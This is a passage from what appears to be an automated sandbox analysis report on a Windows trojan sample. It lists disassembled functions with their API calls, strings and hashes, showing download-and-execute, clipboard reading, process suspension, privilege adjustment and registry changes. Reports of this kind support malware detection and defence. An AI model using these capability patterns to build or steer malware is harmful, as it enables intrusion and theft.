SetSuspendState, xrefs: 16036861
PowrProf.dll, xrefs: 16036866

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: ProcessToken$AddressAdjustCurrentErrorExitLastLibraryLoadLookupOpenPrivilegePrivilegesProcValueWindows
String ID: PowrProf.dll$SetSuspendState
API String ID: 1589313981-1420736420
Opcode ID: 4b45cb2d75357897d89793ed63a2f122f2b4b0aeac3a61b568d56c29936a0298
Instruction ID: ae79db7358e76cb400907d34237ae40047d83e26119e250e5d2e9853e9e37b9e
Opcode Fuzzy Hash: 4b45cb2d75357897d89793ed63a2f122f2b4b0aeac3a61b568d56c29936a0298
Instruction Fuzzy Hash: B821B17CA143415ADE14EBB08CA49AF2F9F5F52243FC108ACA7429B5C1EF65AC0CC365

Uniqueness

Uniqueness Score: -1.00%

Function 1602F7A7 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 88sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 16033549: RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,00000000,00000000), ref: 16033569
Part of subcall function 16033549: RegQueryValueExA.ADVAPI32(00000000,?,00000000,?,?,?), ref: 16033587
Part of subcall function 16033549: RegCloseKey.ADVAPI32(00000000), ref: 16033592

Sleep.KERNEL32(00000BB8), ref: 1602F85B
ExitProcess.KERNEL32 ref: 1602F8CA

Strings

4.9.4 Pro, xrefs: 1602F836, 1602F8A3
override, xrefs: 1602F7CC
pth_unenc, xrefs: 1602F7BD, 1602F804, 1602F871

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CloseExitOpenProcessQuerySleepValue
String ID: 4.9.4 Pro$override$pth_unenc
API String ID: 2281282204-930821335
Opcode ID: 84dde84aae7f0408fc906c13fa45b126dc331a1224efe532e2f7d54e0c4048b2
Instruction ID: 6af370777cfb29fa05518b3d31b4b6461b48bd54f70911e49f4a934001a754b4
Opcode Fuzzy Hash: 84dde84aae7f0408fc906c13fa45b126dc331a1224efe532e2f7d54e0c4048b2
Instruction Fuzzy Hash: 09210229F402405BC518F6BA4CA5A6E7EAB5FC5512FC0015CF51A9B2CAEF21ED0DC3A2

Uniqueness

Uniqueness Score: -1.00%

Function 1607243C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(FDE8FE81,2000000B,00000000,00000002,00000000,?,?,?,1607275B,?,00000000), ref: 160724D5
GetLocaleInfoW.KERNEL32(FDE8FE81,20001004,00000000,00000002,00000000,?,?,?,1607275B,?,00000000), ref: 160724FE
GetACP.KERNEL32(?,?,1607275B,?,00000000), ref: 16072513

Strings

OCP, xrefs: 16072490
ACP, xrefs: 1607245A

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 29f20cf4082911f16ca7e079ac48e40ae6bf6552bf9efbcb0fca45f70f85ef36
Instruction ID: ff778fe5b192f6b13fe35973a423206543166da1e20813b0e98fa06b6baed55f
Opcode Fuzzy Hash: 29f20cf4082911f16ca7e079ac48e40ae6bf6552bf9efbcb0fca45f70f85ef36
Instruction Fuzzy Hash: F421A132E10246A6E724CB64D804A8B7BEBEF44A64F46C564ED89D7114E732DE88D398

Uniqueness

Uniqueness Score: -1.00%

Function 1603B4A8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(SETTINGS,0000000A,00000000), ref: 1603B4B9
LoadResource.KERNEL32(00000000,?,?,1602F3DE,00000000), ref: 1603B4CD
LockResource.KERNEL32(00000000,?,?,1602F3DE,00000000), ref: 1603B4D4
SizeofResource.KERNEL32(00000000,?,?,1602F3DE,00000000), ref: 1603B4E3

Strings

SETTINGS, xrefs: 1603B4AC

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Resource$FindLoadLockSizeof
String ID: SETTINGS
API String ID: 3473537107-594951305
Opcode ID: c00548fd0bd6a0a283080e500427d22c3f9be8adc2167412454d9a31172d888f
Instruction ID: d4772f8b56500fef89eff7da10812f0c27a536be5cca5884e9e1de584bc368f2
Opcode Fuzzy Hash: c00548fd0bd6a0a283080e500427d22c3f9be8adc2167412454d9a31172d888f
Instruction Fuzzy Hash: 8EE01A36602220ABCB2D6BA58CCCD563F7FFBE97637014164F746A6764C7318420DAA0

Uniqueness

Uniqueness Score: -1.00%

Function 16029665 Relevance: 7.7, APIs: 5, Instructions: 222fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 1602966A
FindFirstFileW.KERNEL32(00000000,?,00000000,00000000,?), ref: 160296E2
FindNextFileW.KERNEL32(00000000,?), ref: 1602970B
FindClose.KERNEL32(000000FF,?,?,?,?,?,?), ref: 16029722

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstH_prologNext
String ID:
API String ID: 1157919129-0
Opcode ID: e6038ab839e74571c6497762301eb71b87878d6be045cc8a4349ba13cb3d20f6
Instruction ID: be07b7017e4a4f5f9b009af448681b6736b42329cfdbcc3c1d6ad88ced6a5fd8
Opcode Fuzzy Hash: e6038ab839e74571c6497762301eb71b87878d6be045cc8a4349ba13cb3d20f6
Instruction Fuzzy Hash: 8B81213A8001199BCB15DFA1DC909EEBBBABF14251F9141AED516A7094FF30BB4DCB90

Uniqueness

Uniqueness Score: -1.00%

Function 16072610 Relevance: 7.7, APIs: 5, Instructions: 188COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 16068215: GetLastError.KERNEL32(?,1605F720,1605A7F5,1605F720,16094EF8,?,1605CE15,FF8BC35D,16094EF8,16094EF8), ref: 16068219
Part of subcall function 16068215: _free.LIBCMT ref: 1606824C
Part of subcall function 16068215: SetLastError.KERNEL32(00000000,FF8BC35D,16094EF8,16094EF8), ref: 1606828D
Part of subcall function 16068215: _abort.LIBCMT ref: 16068293

Part of subcall function 16068215: _free.LIBCMT ref: 16068274
Part of subcall function 16068215: SetLastError.KERNEL32(00000000,FF8BC35D,16094EF8,16094EF8), ref: 16068281

GetUserDefaultLCID.KERNEL32(?,?,?), ref: 1607271C
IsValidCodePage.KERNEL32(00000000), ref: 16072777
IsValidLocale.KERNEL32(?,00000001), ref: 16072786
GetLocaleInfoW.KERNEL32(?,00001001,16064A6C,00000040,?,16064B8C,00000055,00000000,?,?,00000055,00000000), ref: 160727CE
GetLocaleInfoW.KERNEL32(?,00001002,16064AEC,00000040), ref: 160727ED

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: ErrorLastLocale$InfoValid_free$CodeDefaultPageUser_abort
String ID:
API String ID: 745075371-0
Opcode ID: b90f3bc205fea5c76378dfe09ad7d42760c3bc302227c70d5dd1192d07e61f4a
Instruction ID: 330d091c401c44bd9ecbf073106466e9e8b5f453300b8844d0cfe924c7b2e9d7
Opcode Fuzzy Hash: b90f3bc205fea5c76378dfe09ad7d42760c3bc302227c70d5dd1192d07e61f4a
Instruction Fuzzy Hash: C051A475D00219ABEF10DFA5CD80ABE7BF9FF18301F018469E994E7190E770AA48CB65

Uniqueness

Uniqueness Score: -1.00%

Function 1602880C Relevance: 7.7, APIs: 5, Instructions: 186fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 16028811
FindFirstFileW.KERNEL32(00000000,?,16086608,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 160288CA
__CxxThrowException@8.LIBVCRUNTIME ref: 160288F2
FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 160288FF
FindClose.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 16028A15

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Find$File$CloseException@8FirstH_prologNextThrow
String ID:
API String ID: 1771804793-0
Opcode ID: f10cf938bf2b244d6c526f8440facf42dc9fbb4d83c30efa07d5c4c5a1d60578
Instruction ID: 5575af9bfcb449e938ab9853901e11f6cc2dfb618d90de1061b727b547d379a1
Opcode Fuzzy Hash: f10cf938bf2b244d6c526f8440facf42dc9fbb4d83c30efa07d5c4c5a1d60578
Instruction Fuzzy Hash: B4516279C00218AACF04EBA4DD959EE7F7EAF14241FC1415DA91AA7091EF34AB4CCB91

Uniqueness

Uniqueness Score: -1.00%

Function 16069365 Relevance: 7.7, APIs: 5, Instructions: 171timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,1607F234), ref: 160693CF
WideCharToMultiByte.KERNEL32(00000000,00000000,16092764,000000FF,00000000,0000003F,00000000,?,?), ref: 16069447
WideCharToMultiByte.KERNEL32(00000000,00000000,160927B8,000000FF,?,0000003F,00000000,?), ref: 16069474
_free.LIBCMT ref: 160693BD

Part of subcall function 16066782: HeapFree.KERNEL32(00000000,00000000,?,16070C6F,?,00000000,?,00000000,?,16070F13,?,00000007,?,?,1607145E,?), ref: 16066798
Part of subcall function 16066782: GetLastError.KERNEL32(?,?,16070C6F,?,00000000,?,00000000,?,16070F13,?,00000007,?,?,1607145E,?,?), ref: 160667AA

_free.LIBCMT ref: 16069589

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide_free$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 1286116820-0
Opcode ID: a6c41acb486936255532fe316ace207fd77166e566f3be8025db3efeff984ce9
Instruction ID: 6a3bfd68004d48a5b29993abf63eb59c276e42db8b904714a7241f8b9b5a4819
Opcode Fuzzy Hash: a6c41acb486936255532fe316ace207fd77166e566f3be8025db3efeff984ce9
Instruction Fuzzy Hash: 55519675D0021AABCB04DF66CC80DDEBFBEFF55310F11466AE564A7580E7709A49CB60

Uniqueness

Uniqueness Score: -1.00%

Function 16026EB0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 222filenetworkCOMMON

Download Yara Rule

APIs

ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000001), ref: 16026FBC
URLDownloadToFileW.URLMON(00000000,00000000,00000004,00000000,00000000), ref: 160270A0

Strings

C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, xrefs: 16027007, 1602712F
open, xrefs: 16026FB6

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: DownloadExecuteFileShell
String ID: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe$open
API String ID: 2825088817-1235772193
Opcode ID: ab0884c1eb8e120ca804223444810bf362780beb3a79b2824974150a5bf92697
Instruction ID: 48862646f071e0a2ee2294e78eaebac6dc3b6da4b14e232db2199c839ce74aef
Opcode Fuzzy Hash: ab0884c1eb8e120ca804223444810bf362780beb3a79b2824974150a5bf92697
Instruction Fuzzy Hash: 5761D139A042005BCE24EB74CCA49BF3FAB5F91542FC1099CEA56571C1EF21A94DC392

Uniqueness

Uniqueness Score: -1.00%

Function 1603C9E2 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 83COMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000014,00000000,00000000,00000003), ref: 1603CAD7

Part of subcall function 1603376F: RegCreateKeyA.ADVAPI32(80000001,Control Panel\Desktop,1608611C), ref: 1603377E
Part of subcall function 1603376F: RegSetValueExA.ADVAPI32(1608611C,?,00000000,?,00000000,00000000,Control Panel\Desktop,?,?,1603CAB1,WallpaperStyle,1608611C,00000001,16094EE0,00000000), ref: 160337A6
Part of subcall function 1603376F: RegCloseKey.ADVAPI32(1608611C,?,?,1603CAB1,WallpaperStyle,1608611C,00000001,16094EE0,00000000,?,1602875D,00000001), ref: 160337B1

Strings

Control Panel\Desktop, xrefs: 1603CA1D, 1603CA50, 1603CAA0
WallpaperStyle, xrefs: 1603CA22, 1603CA55, 1603CAA5
TileWallpaper, xrefs: 1603CAC1

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CloseCreateInfoParametersSystemValue
String ID: Control Panel\Desktop$TileWallpaper$WallpaperStyle
API String ID: 4127273184-3576401099
Opcode ID: 797258a9822bcc9bb0e2e485ffb159a5269f35c62c856acf3af8b07f6a70fc22
Instruction ID: 4683076af66e0a01af35278cbf7dc2ee633c6d54e9b225cebb17ab071e92fb1f
Opcode Fuzzy Hash: 797258a9822bcc9bb0e2e485ffb159a5269f35c62c856acf3af8b07f6a70fc22
Instruction Fuzzy Hash: E8119362F40A506BD818F23A0D67FAD2D1A9743613F854198E6026F6C7D8839A8DC2C6

Uniqueness

Uniqueness Score: -1.00%

Function 16071CD8 Relevance: 6.2, APIs: 4, Instructions: 236COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 16068215: GetLastError.KERNEL32(?,1605F720,1605A7F5,1605F720,16094EF8,?,1605CE15,FF8BC35D,16094EF8,16094EF8), ref: 16068219
Part of subcall function 16068215: _free.LIBCMT ref: 1606824C
Part of subcall function 16068215: SetLastError.KERNEL32(00000000,FF8BC35D,16094EF8,16094EF8), ref: 1606828D
Part of subcall function 16068215: _abort.LIBCMT ref: 16068293

IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,16064A73,?,?,?,?,160644CA,?,00000004), ref: 16071DBA
_wcschr.LIBVCRUNTIME ref: 16071E4A
_wcschr.LIBVCRUNTIME ref: 16071E58
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,16064A73,00000000,16064B93), ref: 16071EFB

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: ErrorLast_wcschr$CodeInfoLocalePageValid_abort_free
String ID:
API String ID: 4212172061-0
Opcode ID: d245181da4ed78f4fb343922b6196aa41e0390d98a261ce98eb3ba3ac2db3fb7
Instruction ID: 9bd77751e6d2c3c72f4b7c22e89a20132d171ca9c2bf6ec7506d0932567fad34
Opcode Fuzzy Hash: d245181da4ed78f4fb343922b6196aa41e0390d98a261ce98eb3ba3ac2db3fb7
Instruction Fuzzy Hash: 30612975A00206AAD714DB34CC85ABA7BEEEF04312F1904A9E9C5D75C0FB70F948C7A9

Uniqueness

Uniqueness Score: -1.00%

Function 1603B7FF Relevance: 6.1, APIs: 4, Instructions: 63timesleepCOMMON

Download Yara Rule

APIs

GetSystemTimes.KERNEL32(?,?,?), ref: 1603B815
Sleep.KERNEL32(000003E8), ref: 1603B820
GetSystemTimes.KERNEL32(?,?,?), ref: 1603B835
__aulldiv.LIBCMT ref: 1603B89C

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: SystemTimes$Sleep__aulldiv
String ID:
API String ID: 188215759-0
Opcode ID: 1e7660d803a3cdde2ce0e241c0e071204ca84b926d1e89cfeaad2374a5c140eb
Instruction ID: 5c02513d16069d6cd0d42561c2f4750580d2d03338b7bb411dfd12ab6dc9bf07
Opcode Fuzzy Hash: 1e7660d803a3cdde2ce0e241c0e071204ca84b926d1e89cfeaad2374a5c140eb
Instruction Fuzzy Hash: FE113D7A5083456FD308EBB4CCC4DAF7BAEAAD4255F040A2AF64692040EF64E60DC6A1

Uniqueness

Uniqueness Score: -1.00%

Function 160720C3 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 16068215: GetLastError.KERNEL32(?,1605F720,1605A7F5,1605F720,16094EF8,?,1605CE15,FF8BC35D,16094EF8,16094EF8), ref: 16068219
Part of subcall function 16068215: _free.LIBCMT ref: 1606824C
Part of subcall function 16068215: SetLastError.KERNEL32(00000000,FF8BC35D,16094EF8,16094EF8), ref: 1606828D
Part of subcall function 16068215: _abort.LIBCMT ref: 16068293

Part of subcall function 16068215: _free.LIBCMT ref: 16068274
Part of subcall function 16068215: SetLastError.KERNEL32(00000000,FF8BC35D,16094EF8,16094EF8), ref: 16068281

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 16072117
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 16072168
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 16072228

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: ErrorInfoLastLocale$_free$_abort
String ID:
API String ID: 2829624132-0
Opcode ID: ce24c6b2c907d8bb46252f8f691c13bba1771f876e0736b31754b6b177d66aac
Instruction ID: f3d0e64efcefdc74fb1efac06bcb4c4442f4f61e162caa88f047de3cbbdbbdc2
Opcode Fuzzy Hash: ce24c6b2c907d8bb46252f8f691c13bba1771f876e0736b31754b6b177d66aac
Instruction Fuzzy Hash: 2161B271A20107ABEB18DF24CD81BAA7BF9FF04300F1081A9EE55C6544F735E98ADB58

Uniqueness

Uniqueness Score: -1.00%

Function 1605BB22 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 1605BC1A
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 1605BC24
UnhandledExceptionFilter.KERNEL32(?), ref: 1605BC31

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 0a56cb72fd1ac93dd7d47d976b9d27f3df5376974b5fe8ba69cc70fdf894ec30
Instruction ID: ed5d14d832aa12b9d38f63ebf7250b607450a055f4542c57c915d59ddeb5a8b6
Opcode Fuzzy Hash: 0a56cb72fd1ac93dd7d47d976b9d27f3df5376974b5fe8ba69cc70fdf894ec30
Instruction Fuzzy Hash: 9D31E2749012289BCB25DF24DC88BCCBBB9BF08310F5142EAE40CA6250EB70AB85CF44

Uniqueness

Uniqueness Score: -1.00%

Function 03F7C368 Relevance: 4.5, APIs: 3, Instructions: 45filenativeCOMMON

Download Yara Rule

APIs

Part of subcall function 03F64EE4: SysAllocStringLen.OLEAUT32(?,?), ref: 03F64EF2

RtlInitUnicodeString.N(?,?,00000000,03F7C3E2), ref: 03F7C390
RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,?,?,00000000,03F7C3E2), ref: 03F7C3A6
NtDeleteFile.N(?,00000000,?,00000000,00000000,?,?,00000000,03F7C3E2), ref: 03F7C3C5

Part of subcall function 03F64C24: SysFreeString.OLEAUT32(03F7D42C), ref: 03F64C32

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: String$Path$AllocDeleteFileFreeInitNameName_Unicode
String ID:
API String ID: 1694942484-0
Opcode ID: 998c21feaa74dce4d6d7ccf5633b010f2ee626be6f456f0388c17485ff5cf93c
Instruction ID: 90361cf2729e1cd70a3251d13b017e165f42b7ece11c9f20d0cf6715e2d2741b
Opcode Fuzzy Hash: 998c21feaa74dce4d6d7ccf5633b010f2ee626be6f456f0388c17485ff5cf93c
Instruction Fuzzy Hash: F201F475940308BEDB41EBA1CD81FCEB3FCEB48700F514472E604EA580EA74AB048765

Uniqueness

Uniqueness Score: -1.00%

Function 16053837 Relevance: 4.5, APIs: 3, Instructions: 30encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextA.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,?,00000000,160534BF,00000034,?,?,00000000), ref: 16053849
CryptGenRandom.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?,?,?,16053552,00000000,?,00000000), ref: 1605385F
CryptReleaseContext.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,?,?,16053552,00000000,?,00000000,1603E251), ref: 16053871

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Crypt$Context$AcquireRandomRelease
String ID:
API String ID: 1815803762-0
Opcode ID: dfd0cc423b2d9d305ea6e44e52cd03dbfb65b61927e4e21ca2076c4579fe0722
Instruction ID: 3f6c62729accbf4d4fa32b2c71a652d907a70e8c9ae6731f4754564f7051ea35
Opcode Fuzzy Hash: dfd0cc423b2d9d305ea6e44e52cd03dbfb65b61927e4e21ca2076c4579fe0722
Instruction Fuzzy Hash: 2AE09231328361BEF73C4F299C08F563FA6EB81760F220639F751E40D8E29284488595

Uniqueness

Uniqueness Score: -1.00%

Function 160632B5 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,?,1606328B,00000000,1608E948,0000000C,160633E2,00000000,00000002,00000000), ref: 160632D6
TerminateProcess.KERNEL32(00000000,?,1606328B,00000000,1608E948,0000000C,160633E2,00000000,00000002,00000000), ref: 160632DD
ExitProcess.KERNEL32 ref: 160632EF

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 136227d544912fecf1cfc1415c52cf08646b299bebd34133bcf07a907dbedd4b
Instruction ID: 8526a020cd7d68addd22ecb434d8fdea638cebacd9ffaa8bccc1b7aad7a8f97d
Opcode Fuzzy Hash: 136227d544912fecf1cfc1415c52cf08646b299bebd34133bcf07a907dbedd4b
Instruction Fuzzy Hash: E9E0B671800199ABCF0AAF65CD49A983FAAFB50256F004614FA4A9A135DB36ED46CAD0

Uniqueness

Uniqueness Score: -1.00%

Function 1602B70E Relevance: 4.5, APIs: 3, Instructions: 19clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(00000000), ref: 1602B711
GetClipboardData.USER32(0000000D), ref: 1602B71D
CloseClipboard.USER32 ref: 1602B725

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Clipboard$CloseDataOpen
String ID:
API String ID: 2058664381-0
Opcode ID: b3468c0bcb012bb4184f4d2d1f5c65a9c1506043af9ffbccddebbba9d5266659
Instruction ID: db06c2a98de1e23c044ec02d854b504cbcd86334023f7ace0345ad27ebd17f5d
Opcode Fuzzy Hash: b3468c0bcb012bb4184f4d2d1f5c65a9c1506043af9ffbccddebbba9d5266659
Instruction Fuzzy Hash: 0AE0EC35A456309FD214DB60CC88B9E7EE5DF71B51F81855CF5C9AE188D7308848C6A1

Uniqueness

Uniqueness Score: -1.00%

Function 1603BB09 Relevance: 4.5, APIs: 3, Instructions: 19nativeCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000800,00000000,00000000,?,?,16035FFF,00000000), ref: 1603BB14
NtSuspendProcess.NTDLL(00000000), ref: 1603BB21
CloseHandle.KERNEL32(00000000,?,?,16035FFF,00000000), ref: 1603BB2A

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

